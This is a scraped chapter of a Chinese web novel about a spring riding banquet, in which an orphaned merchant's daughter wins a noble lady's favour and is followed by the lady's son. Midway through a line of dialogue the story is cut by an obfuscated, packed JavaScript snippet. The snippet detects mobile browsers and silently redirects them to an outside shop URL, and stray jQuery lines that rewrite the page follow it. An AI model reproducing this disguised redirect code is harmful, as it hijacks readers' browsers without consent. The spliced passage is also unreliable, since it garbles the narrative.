文趣网 > 其他小说 > 装乖后她杀疯了 > 11. 踏春宴会(四)
    而一旁的宋知瑶,早已彻底呆滞当场。

    她怔怔看着眼前的一幕,脑子一片空白,满心难以置信。

    怎么会这样?

    她预想的一切全然落空。

    她本以为,谢夫人听闻孟映雪低微的商贾出身,定然会面露轻视,心生厌弃,如同在场所有世家贵女一般不屑一顾。

    那孟映雪今日便会受尽鄙夷,狼狈不堪。

    可万万没有想到,孟映雪区区商贾孤女,竟然被尊贵的侯府夫人这般看重怜惜,甚至眉眼温柔、语带亲近!

    巨大的落差与不甘,让宋知瑶心口堵得发闷,脸色青白交加,难堪至极。

    谢夫人全然不在意旁人的心思,满心怜爱地看着孤苦无依的孟映雪,主动开口,语气温和亲昵:“好孩子,过来。”

    谢夫人抬手轻轻拉住孟映雪的手腕,将她唤至自己身侧,让她贴身立在一旁,与自己并肩而立。

    这般殊荣,瞬间羡煞全场所有贵女。

    众人眼底皆是浓浓的羡慕、嫉妒、不甘。

    多少出身名门、家世显赫的贵女费尽心思,都得不到谢夫人半分青眼,可这个无依无靠、商贾出身的孤女,竟能得夫人亲自垂怜、贴身相伴!

    无数道复杂的目光再次落在孟映雪身上,只是此刻,再也无人敢有半分轻视鄙夷。

    孟映雪心底清明通透,深知这是她踏入诰京权贵圈层、借力复仇的最好契机。

    面上却依旧温顺谦卑,无半分恃宠而骄的得意,垂首立在谢夫人身侧,应答有度。

    谢夫人问一句,她便温柔答一句,言语谦恭,全程目视前方安分守己。与身旁的谢云峥,更是没有半分眼神交集与刻意攀附。

    这般沉稳通透与知礼守度的性子,更是让谢夫人心中越发满意喜爱。

    既不骄不躁,也不卑不亢,身处低谷却守礼安分,远比那些恃宠骄矜、心思浅薄的人可贵百倍。

    不远处的宋知薇见状,高悬的心终于彻底落下,长长松了一口气。

    还好,还好孟映雪稳住了分寸,得了谢夫人青眼,非但没有丢宋府脸面,反倒为宋府挣了几分体面。

    她侧首看向一旁依旧满脸不甘、神色难看的宋知瑶,眼底满是恨铁不成钢的冷意。

    真是个目光短浅、愚蠢至极的东西。

    心中不耐,她上前一步,悄悄将宋知瑶拉至无人角落,收敛所有温和,眼底只剩冰冷厉色,压低声音警告:“我最后告诫你一次,安分守己!”

    “平日里在宋府,你如何私下刁难折辱她,我可以视而不见、置之不理。但今日在外,她身寄宋府,一言一行皆关乎宋家颜面,你若再肆意惹事、当众折辱她,连累宋府蒙羞,休怪我不顾姐妹情分,禀明爹娘,到时候对你严加惩处!”

    宋知瑶本就因毒计落空又算计失败,再加上孟映雪意外得宠这一系列的事情,而感到满心烦躁憋屈,此刻又被宋知薇训斥威胁,心烦意乱之下,更是半点不愿忍让,满脸抵触不耐,敷衍地偏过头:“大姐姐不必多管闲事。”

    语毕,不等宋知薇再开口,她直接拂袖转身,扭头便走,态度桀骜无礼。

    姐妹二人彻底不欢而散,气氛僵硬冰冷。

    场中诸事落定,谢夫人笑着抬手,柔声对众人道:“今日春日闲适,大家无需拘束礼数,只管随心策马踏青,赏景散心尽兴便好。”

    得了谢夫人应允,一众贵女瞬间卸下所有拘谨束缚,眉眼雀跃,纷纷翻身上马。

    偌大的马场瞬间鲜活热闹起来。

    贵女们三三两两结伴而行,有些慢悠悠策马踱步,沿曲江赏景,闲谈笑语,好不惬意悠然;也有相约策马疾驰,来比试骑术,马蹄哒哒声踏碎满地春光,姑娘们的笑声也散落在风中。

    满目喧嚣热闹,肆意而又鲜活。

    孟映雪牵着手中雪白的骏马,立在辽阔草场之上,望着眼前无垠春色,心头百感交集。

    她被困方寸小院八年,不见山河春色,不闻自由风声,今日在这马场之中,久违的辽阔与开阔,让她压抑多年的心境,悄然松缓几分。

    指尖抚过白马顺滑的鬃毛,温热鲜活的触感传来。

    儿时她爹爹手把手教她骑马的画面,再次清晰浮现眼前。

    “骑马贵在静心稳身,心稳,马便稳。”

    爹爹温柔的叮嘱犹在耳畔,清晰如昨日一般。

    孟映雪深吸一口气,压下心底翻涌的酸涩,翻身上马。

    她的身姿轻盈利落,动作行云流水。

    提缰、收腹、稳身、策马。

    一系列动作娴熟流畅,没有半分生涩僵硬,丝毫看不出八年未曾碰过马匹。

    雪白骏马应声而动,稳步前行,继而渐渐提速。

    马蹄轻快,踏着春光奔跑。

    那一抹水碧色的纤细身姿稳稳立在白马脊背之上,青丝被春风肆意扬起,清丽的眉眼褪去了平日的温顺怯懦,多了几分久违的舒展洒脱。

    一人一马,踏春追风,顺着辽阔草场一路向前疾驰。

    风声在耳畔呼啸而过,吹散了深宅八年的压抑沉闷,吹散了寄人篱下的隐忍憋屈。

    视野辽阔无垠,山河春色尽收眼底。

    八年了。

    她终于再次感受到了自由肆意、无拘无束的滋味。

    孟映雪微微仰头,任由春风拂过眉眼,心底积压多年的郁气,悄然散去大半。

    白马载着她一路疾驰,身影越来越远,渐渐脱离人群,奔向马场深处无人的江岸。

    场边的宋知瑶始终未曾上马。

    她立在原地,死死盯着那道绝尘而去的雪白身影,满脸难以置信,瞳孔骤缩,心底的不甘与震惊几乎将她吞噬。

    怎么可能?!

    孟映雪竟然真的会骑马!

    而且骑术这般娴熟利落,身姿这般潇洒从容,丝毫不像多年被他们一家困在小院、足不出户的孤女!

    她八年不曾出宋府半步,怎么会习得这般精湛的骑术?!

    满心的算计落空,满心的期待破灭,满心的嫉妒疯狂滋长,折磨得她心口发疼。

    可纵使万般不甘,她也只能束手无策,眼睁睁看着孟映雪出尽风头。

    身旁交好的贵女见她伫立不动,便上前拉着她的手臂,笑着邀约:“知瑶,别愣着了,我们一同沿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613119|206023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    堤骑马赏景吧!”

    宋知瑶压下满心戾气与不甘,勉强扯出一抹笑意,被众人拉着,缓步上马,沿着江岸慢悠悠前行散心。

    马场另一侧,谢夫人眼底含着温柔的笑意,目光淡淡扫过自家小儿子始终追随那抹背影的视线。

    从孟映雪翻身上马的那一刻起,谢云峥的目光,便从未离开过那道水碧色的身影半分。

    素来淡漠无波的眼眸,此刻盛满了旁人看不懂的专注与缱绻,竟还有几分温柔。

    谢夫人心中了然失笑。

    这孩子,素来清冷寡欲,对万事万物皆淡薄疏离,昨日还百般推脱,嫌弃这场踏春宴麻烦无趣,百般不愿出席。

    如今倒是一眼沉沦,心心念念,移不开目光了。

    她故作随意地左右扫了一眼,见周遭贵女与丫鬟皆已散开,无人留意此处,便侧首低声提醒道:“人都走远了,偌大草场无人拘束,有话便去说吧,再晚,人便跑没影了。”

    一语点醒梦中人。

    谢云峥身形微僵,素来清冷沉稳的面容看不出半分异样,唯有耳尖悄然染上一层浅浅的绯红,泄露了他克制已久的心动与局促。

    九年的执念,一直寻觅未果,今日意外重逢近在咫尺,他如何能放手错过?

    谢云峥未曾多言,只对着谢夫人微微躬身,嗓音低沉清润,带着一丝不易察觉的郑重:“多谢母亲。”

    话音落,他转身利落翻身上马,策马扬鞭,循着那道远去的雪白身影,疾驰追去,转瞬便消失在柳堤尽头。

    谢夫人望着儿子疾驰远去的背影,无奈又欣慰地浅笑摇头。

    素来清冷绝尘、心如止水的小儿子,终究是栽在了九年前那场云麓偶遇里,栽在了这个隐忍孤苦的小姑娘身上。

    只是……

    谢夫人似乎是想到了什么,眼底反而多了几分担忧,也不知道这份情深,对于谢云峥来说,究竟是好事还是坏事……

    ————

    马场深处,江水潺潺,江岸边寂静无人。

    孟映雪勒住马缰,让白马缓缓驻足,任由微风拂动衣袂,静静望着眼前辽阔江景,心境安然松弛。

    八年紧绷的神经,在这片无人的春色里,难得彻底放松。

    身后忽然传来一阵轻快的马蹄声,由远及近,最终在自己身后停下。

    孟映雪微微回眸。

    只见一抹月白身影策马而来,身姿挺拔清隽,眉目清冷绝尘,春风拂起他的衣袍墨发,翩翻飞扬。

    是谢云峥。

    他很快策马至她的身侧,缓缓勒马驻足,与她并肩而立。

    周遭唯余风声、水声、柳叶婆娑声,天地之间,只剩他们二人。

    谢云峥侧首,目光落在她清丽舒展的侧脸上,时隔九年,他终于再次唤出这个藏在心底多年的称呼,嗓音低沉温润,带着一丝不易察觉的轻颤:

    “阿雪。”

    二字轻柔,熟悉又遥远,轻轻落在风里。

    孟映雪心弦微不可察地一颤。

    这是时隔多年,再次听见有人这般唤她。

    温柔、干净、熟悉,带着久远旧时光的暖意。